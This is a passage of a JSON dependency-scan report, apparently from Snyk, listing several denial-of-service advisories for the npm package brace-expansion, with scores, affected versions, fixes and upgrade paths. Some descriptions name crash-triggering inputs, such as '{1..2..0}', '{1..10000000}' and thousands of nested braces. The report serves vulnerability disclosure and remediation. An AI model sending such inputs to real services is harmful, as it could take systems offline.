"minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub 